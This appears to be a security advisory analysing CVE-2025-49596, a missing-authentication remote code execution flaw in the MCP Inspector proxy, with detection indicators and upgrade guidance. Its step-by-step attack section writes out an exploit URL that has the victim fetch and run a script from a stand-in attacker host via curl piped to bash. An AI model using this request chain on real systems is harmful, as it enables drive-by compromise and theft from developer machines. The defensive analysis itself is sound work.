CVE-2025-49596: 
JavaScript vulnerability analysis and mitigation

CVE-2025-49596 is a critical remote code execution (RCE) vulnerability in the MCP Inspector, an official Anthropic developer tool for testing and debugging Model Context Protocol (MCP) servers. The flaw stems from a complete absence of authentication between the Inspector client and its proxy server, allowing unauthenticated requests to launch arbitrary MCP commands over stdio. All versions of @modelcontextprotocol/inspector below 0.14.1 are affected. The vulnerability was first reported to Anthropic on March 26, 2025, with Oligo Security independently reporting it on April 18, 2025; the CVE was published on June 13, 2025. It carries a CVSS v4 base score of 9.4 (Critical) (GitHub Advisory, Oligo Security).

The root cause is CWE-306 (Missing Authentication for Critical Function): the MCP Inspector proxy server, which runs as a local HTTP service (default port 6277), accepted and executed commands from any client without requiring authentication tokens or validating request origins (GitHub Advisory). Exploitation chains two attack vectors: (1) Cross-Site Request Forgery (CSRF) from a malicious website using the unpatched "0.0.0.0-day" browser flaw — where browsers allow JavaScript on public pages to send requests to 0.0.0.0:6277, which routes to localhost — and (2) DNS rebinding, where an attacker's DNS record resolves to 127.0.0.1 or 0.0.0.0. A crafted HTTP request to the /sse endpoint with transportType=stdio and a command query parameter (e.g., http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited) causes the proxy to spawn an arbitrary OS process. No authentication, network adjacency, or elevated privileges are required — only passive user interaction (visiting a malicious page) (Oligo Security).

Successful exploitation grants an attacker full arbitrary code execution on the developer's machine running MCP Inspector, with the same privileges as the process owner. This results in complete compromise of confidentiality (access to source code, credentials, API keys, and sensitive data), integrity (ability to modify files, install backdoors, or tamper with development artifacts), and availability (disruption of services or destruction of data). Because developer machines typically have broad network access and stored credentials, exploitation can enable lateral movement into internal networks, supply chain compromise, and persistent access via reverse shells (Oligo Security, GitHub Advisory).

Public proof-of-concept (PoC) exploit code is available on GitHub at https://github.com/ashiqrehan-21/MCP-Inspector-CVE-2025-49596 and a second PoC at https://github.com/pppxo/CVE-2025-49596-PoC. Exploitation has been confirmed in the wild, with Docker publishing a detailed "drive-by localhost breach" scenario demonstrating real-world attack chains (Docker Blog). Tenable Research, credited with discovering the vulnerability (researcher Rémy Marot), published a detailed technical write-up (Tenable Blog). The EPSS score is approximately 2.2% (85th percentile), indicating elevated exploitation probability. The vulnerability is not currently listed in the CISA KEV catalog. No specific threat actor attribution has been reported. Qualys has published detection signatures (IDs: 5004419, 732720, 530238), and ProjectDiscovery has added Nuclei templates for automated scanning.

1. Reconnaissance: Identify targets running MCP Inspector (versions < 0.14.1) by scanning for the service's unique HTTP fingerprint on port 6277, or by targeting AI developers known to use the mcp dev command from Anthropic's official quickstart guide.
2. Prepare malicious page: Create a web page hosted on a public domain containing JavaScript that sends a cross-origin HTTP request to http://0.0.0.0:6277/ (leveraging the unpatched 0.0.0.0-day browser flaw that routes this to the victim's localhost).
3. Craft exploit payload: Construct a GET or POST request to the vulnerable /sse endpoint with parameters specifying the desired OS command, e.g.:

   http://0.0.0.0:6277/sse?transportType=stdio&command=bash&args=-c&args=curl+http://attacker.com/shell.sh|bash

4. Deliver exploit: Lure the target developer to visit the malicious page (e.g., via a blog post, phishing email, or social media link about MCP). The browser executes the JavaScript, which sends the unauthenticated request to the local MCP Inspector proxy.
5. Achieve code execution: The MCP Inspector proxy, lacking any authentication check, spawns the attacker-specified process (e.g., a reverse shell) on the developer's machine with the privileges of the running user.
6. Establish persistence: Use the initial shell access to install a backdoor, exfiltrate credentials/source code, or pivot to internal network resources accessible from the developer's machine (Oligo Security, Docker Blog).

• Network: Unexpected outbound connections from a developer workstation to unknown external IPs shortly after browsing activity; HTTP requests to 0.0.0.0:6277 or 127.0.0.1:6277 originating from a browser process; DNS queries for attacker-controlled domains resolving to 127.0.0.1 or 0.0.0.0 (DNS rebinding indicator).
• Process: Unusual child processes spawned by the MCP Inspector Node.js process (e.g., bash, sh, curl, wget, python, nc); unexpected process trees with node as parent launching shell commands.
• File System: New or modified files in /tmp/ or user home directories (e.g., /tmp/exploited); presence of web shells, cron jobs, or SSH authorized_keys modifications; unexpected scripts or binaries in the MCP Inspector working directory.
• Logs: HTTP server logs for the MCP Inspector proxy showing requests to /sse with transportType=stdio and command parameters containing shell commands or encoded payloads; requests from browser-associated user agents to port 6277 with unusual query strings.
• Configuration: Presence of DANGEROUSLY_OMIT_AUTH=true environment variable in MCP Inspector process environment, indicating authentication was intentionally disabled.

The primary remediation is to upgrade @modelcontextprotocol/inspector to version 0.14.1 or later immediately. Version 0.14.1 introduces: (1) mandatory session token authentication — a random token is generated at startup and must be included as a Bearer token in all proxy requests; (2) Origin header validation to block DNS rebinding and CSRF attacks; and (3) default binding to 127.0.0.1 only (not 0.0.0.0) (GitHub Commit). To upgrade: npm install -g "@modelcontextprotocol/inspector@^0.14.1". Check both global and project-local installations under node_modules. If immediate patching is not possible, implement network-level firewall rules to block external access to port 6277, and avoid running MCP Inspector on untrusted networks. Do not set DANGEROUSLY_OMIT_AUTH=true in production or shared environments (GitHub Advisory, Oligo Security).

The vulnerability generated significant attention across the security community. Tenable Research, credited with the discovery, published a detailed blog post explaining how they found the flaw (Tenable Blog). Oligo Security independently reported the issue and published a comprehensive technical write-up demonstrating the browser-based exploit chain (Oligo Security). Docker published a "MCP Horror Stories" blog post illustrating the drive-by localhost breach scenario (Docker Blog). The vulnerability trended on Reddit communities including r/cybersecurity, r/netsec, r/blueteamsec, and r/mcp, with broad discussion about the risks of unauthenticated local developer tools. The Hacker News community also discussed the issue, and TechRadar covered it as a "worrying issue with Anthropic AI systems." The vulnerability has been cited in broader discussions about MCP ecosystem security maturity, with multiple researchers noting it as emblematic of authentication gaps in AI developer tooling.